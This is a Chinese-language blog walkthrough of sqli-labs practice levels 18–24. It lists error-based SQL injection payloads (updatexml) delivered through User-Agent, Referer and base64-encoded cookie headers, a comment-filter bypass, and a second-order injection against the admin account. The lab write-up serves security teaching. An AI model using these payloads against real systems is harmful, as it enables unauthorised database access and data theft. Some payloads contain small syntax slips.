• 以sqlilabs靶场为例,讲解SQL注入攻击原理【18-24关】


    【less-18】

    打开时,获取了自己的IP地址。,通过分析源码知道,会将用户的user-agent作为参数记录到数据库中。

    提交的是信息有user-Agent、IP、uname信息。

    此时可以借助Burp Suite 工具,修改user_agent,实现sql注入。

    最后得到数据库名:security。

    解题步骤:

    1. //第一步获取数据库名
    2. ' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) -- +
    3. //第二步获取数据表名
    4. ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- +
    5. //第三步获取数据表字段
    6. ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

    【less-19】

    与less-18,唯一的区别是,提交的信息不再是user-agent,而是referer。

    解题步骤:

    1. //第一步获取数据库名
    2. ' and updatexml(1,concat(0x7e,(select database()),0x7e),1),1) -- +
    3. //第二步获取数据表名
    4. ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),1,1) -- +
    5. //第三步获取数据表字段
    6. ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1),1,1) -- +

    【less-20】

    从上图的信息可以看出登录之后,记录的信息是类似的,根据前两题的经验,尝试使用user-agent、referr、cookie信息进行注入。

    经过验证将抓包的cookie进行更改

    改为:

    结果为:

    其他步骤:

    1. # 第二步获取数据表名
    2. ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- +
    3. # 第三步获取数据表字段
    4. ' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) -- +

    【less-21】

    通过抓包和源码分析可以得出:less-21使用的是cookie,而且还是base64加密的。

    和Less-20注入原理相同,不同的是在修改cookie时,先转成base64的值。

    先将注入编码进行base64编码。

    然后再把编制的码代入到cookie中。

    出现错误,是因为“-- +”在进行base64编码时出现了问题。

    可以将“-- +” 替换为 '1' = '1

    具体代码:

    1. admin 'and updatexml(1,concat(0x7e,(select database(),0x7e),1) -- +
    2. #改为
    3. admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
    4. #对应的base64编码
    5. YWRtaW4gJ2FuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB4N2UpLDEpIGFuZCAnMSc9JzE=

    调试结果:

    其他步骤和Less-20类似,区别都是要变成base64加密。

    1. # 第二步获取数据表名
    2. admin' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and '1'='1
    3. # 第三步获取数据表字段
    4. admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='emails' ),0x7e),1) and '1'='1

    【less-22】

    通过分析源码得知,基本Less-21相似,唯一的区别就是单引号变成了双引号。

    解题步骤和Less-21相同。

    1. #第一步获取数据库
    2. admin "and updatexml(1,concat(0x7e,(select database()),0x7e),1) and "1"="1
    3. # 第二步获取数据表名
    4. admin" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) and "1"="1
    5. # 第三步获取数据表字段
    6. admin" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="emails" ),0x7e),1) and "1"="1

    结果:

    【less-23】

    less-23是一种GET方式的注入,使用之前的方式,发现无法注入,分析源码,得知之前用的 注释(-- 和# 都被替换了空)。

    此时尝试一种新的注释方式: '1' ='1 以消除原本SQL语句中的引号。

    解题方法:

    1. # 获取数据库名
    2. ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1
    3. # 获取数据表名
    4. ' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) or '1'='1
    5. # 获取数据字段
    6. ' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1),0x7e),1) or '1'='1

    结果为:

    【less-24】

    less24是一个二次注入的案例。

    分析源码:

    可以看出只有用户名(username)没有用mysql_real_escape_string()对特殊字符进行转义。

    解题步骤:

    1.注册admin用户

    2.登录并修改admin密码

    3.尝试使用admin账号和新密码登录,破解管理员账号。

  • 相关阅读:
    MySQL数据库基础操作
    [C#]winform使用onnxruntime部署LYT-Net轻量级低光图像增强算法
    G1垃圾收集器
    Java对象的分配和内存布局
    arm day 8
    NIO工作方式浅析
    Java反射、枚举、Lambda表达式
    Acwing算法心得——猜测短跑队员的速度(重写比较器)
    C++ - map 和 set 的模拟实现 - 红黑树当中的仿函数 - 红黑树的迭代器实现
    webpack初体验
  • 原文地址:https://blog.csdn.net/weixin_42515203/article/details/139302637